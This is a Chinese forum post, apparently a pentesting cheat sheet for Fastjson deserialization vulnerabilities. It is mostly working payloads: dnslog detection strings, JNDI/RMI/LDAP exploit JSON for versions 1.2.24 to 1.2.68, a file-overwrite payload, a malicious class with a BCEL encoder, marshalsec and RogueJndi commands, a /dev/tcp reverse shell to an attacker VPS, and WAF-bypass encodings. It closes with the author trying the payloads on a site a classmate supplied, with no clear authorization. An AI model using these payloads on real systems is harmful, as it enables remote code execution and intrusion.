Fastjson 渗透测试指北

chenqiang · 发表于 2022-5-10 12:46:14

原文链接：Fastjson 渗透测试指北

作为一个面对fastjson只会弹计算器的彩笔，今天学妹给了一个Fastjson的站点，我发现自己一脸懵逼，打算做一个总结吧，渗透彩笔，轻喷~

一、检测阶段
1.检测是否Fastjson

[{"a":"a\x] dos漏洞
{"a":"
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0
{{"@type":"java.net.URL","val":"http://%s"}:"x"}

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1.2.67版本前

{"zeo":{"@type":"java.net.Inet4Address","val":"fatu5k.dnslog.cn"}}
1.2.67版本后payload
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}

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2.精确检测版本 Copy by 浅蓝

[{"a":"a\x]
{"@type":"java.lang.AutoCloseable"
a

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二、常规渗透

(1) 1.2.24

基于jndi

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true

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com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

(限制条件：解析JSON的时候需要使用Feature)

{"@type":sss"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["###EVIL_CODE###"],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}

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org.apache.tomcat.dbcp.dbcp2.BasicDataSource

(限制条件：应用部署在Tomcat应用环境中 Tomcat 8.0以后使用org.apache.tomcat.dbcp.dbcp2.BasicDataSource Tomcat 8.0以下使用org.apache.tomcat.dbcp.dbcp.BasicDataSource )

{"@type":"org.apache.commons.dbcp.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"###EVIL_CODE###"}

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{{"@type":"com.alibaba.fastjson.JSONObject","c":{"@type":"org.apache.commons.dbcp.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"###EVIL_CODE###"}}:"ddd"

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(2) 1.2.47
1.2.25 以后autotype默认开启，所以41-45的一些Poc这里也不再列出，我们直接跳到1.2.48以下不需要开启autotype下的Poc，其实1.2.47之前的Poc都可以改成绕过autotype格式

{"a": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://x.x.x.x:1098/jndi", "autoCommit": true}}

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(3) 1.2.68

48以后68之前的Poc也需要目标开启autotype了，这里也跳过，直接看68的Poc，无须开启autype

fastjson-1.2.68 任意文件写入poc

{"x":{"@type":"java.lang.AutoCloseable","@type":"sun.rmi.server.MarshalOutputStream","out":{"@type":"java.util.zip.InflaterOutputStream","out":{"@type":"java.io.FileOutputStream","file":"/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.282.b08-1.el7_9.x86_64/jre/lib/charsets.jar","append":false},"infl":{"input":"xxx"},"bufLen":1048576},"protocolVersion":1}}
{"x":{"@type":"java.nio.charset.Charset","val":"500"}}

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fastjson-1.2.68 jdbc反序列化poc

{"@type":"java.lang.AutoCloseable", "@type":"com.mysql.jdbc.JDBC4Connection","hostToConnectTo":"172.20.64.40","portToConnectTo":3306,"url":"jdbc:mysql://172.20.64.40:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","databaseToConnectTo":"test","info":{"@type":"java.util.Properties","PORT":"3306","statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true","user":"yso_URLDNS_http://ahfladhjfd.6fehoy.dnslog.cn","PORT.1":"3306","HOST.1":"172.20.64.40","NUM_HOSTS":"1","HOST":"172.20.64.40","DBNAME":"test"}}

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这里放上两个命令，省得你去搜了

java -jar .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/#ExportObject 1099

python3 -m http.server 2333

三、不出网利用

参考：https://mp.weixin.qq.com/s/LZt-I3s0dQ_bK9ubEix8iQ by f1ashine

这里主要基本Poc使用1.2.24 无需出网Poc + 1.2.47嘚绕过autotype

首先获取恶意class

public class Calc{
static {
try{
Runtime.getRuntime().exec(new String[]{"cmd", "/c", "calc"});
} catch (Exception e) {
}
}
}

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获取到class文件后，转化为BCEL格式(建议以上两步在低版本jdk下运行)

import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
public class Test{
public static void main(String[] args) throws IOException {
Path path = Paths.get("D:\\java\\java_tools\\Calc.class");
byte[] bytes = Files.readAllBytes(path);
System.out.println(bytes.length);
String result = Utility.encode(bytes,true);
BufferedWriter bw = new BufferedWriter(new FileWriter("D:\\java\\java_tools\\bb.txt"));
bw.write("$BCEL$" + result);
bw.close();
}

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基于<=1.2.47版本的缓存类的绕过黑名单的方式修改原有poc

{
"a": {
"@type": "java.lang.Class",
"val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"b": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"c": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "###EVIL_CODE###"
}
}

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四、高版本jdk JNDI注入

这里感谢清水老板第一次给我展示了下jep290 后fastjson仍旧打成功了，膜~

推荐两个github项目
https://github.com/veracode-research/rogue-jndi

清水老板：

1.填写好你的反弹命令

sh -i >& /dev/tcp/你的vpsip/端口 0>&1

2.runtime base64编码

访问http://www.jackson-t.ca/runtime-exec-payloads.html

把第一步的命令粘进去，自动编码，复制下来把bash的关键字都改为sh

3.使用RogueJndi-1.0开启ldap

java -jar RogueJndi-1.0.jar -n "0.0.0.0" -c "写入第二步的命令"

4.jndi地址为

ldap://vpsip:1389/o=tomcat

注：rogue-jndi 没法绕tomcat7

留个坑，这里原理一直没跟，下次一定

相关原理 https://paper.seebug.org/942/#ldapgadget

五、Fastjson WAF 绕过

1.unicode编码

{"b":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://t00ls.5cd37009d59fc2c7fc55f2bee57cafab.dnslog.cn/aaa","autoCommit":true}}

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2.XCTF-校战“疫”中的ctf题目的一个payload：\x74

{"@\x74ype":"org.apache.commons.configuration.JNDIConfiguration","- prefix":"rmi://111.231.17.208:3888"}

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3.\b

{"@type":\b"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999","autoCommit":true}}

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4./**/

{"@type":/**/"Lcom.sun.rowset.JdbcRowSetImpl","dataSourceName":"###RMI_LDAP_ADDRESS###","autoCommit":true}

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六、回头看学妹的站

尝试了几个检测的Poc，结果用Dos这个成功得到版本

是47，用基本Poc打下

可以打，但是dns请求可以出来，rmi请求出不来，尝试将rmi监听端口放到53 443，不行

因为是47，所以考虑使用不出网方式利用，生成class

生成becl

org.apache.tomcat.dbcp.dbcp2.BasicDataSource 以及org.apache.tomcat.dbcp.dbcp.BasicDataSource都尝试过不行....目标没有依赖类

害.....虽然没有拿到shell，但是学到很多

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Fastjson 渗透测试指北

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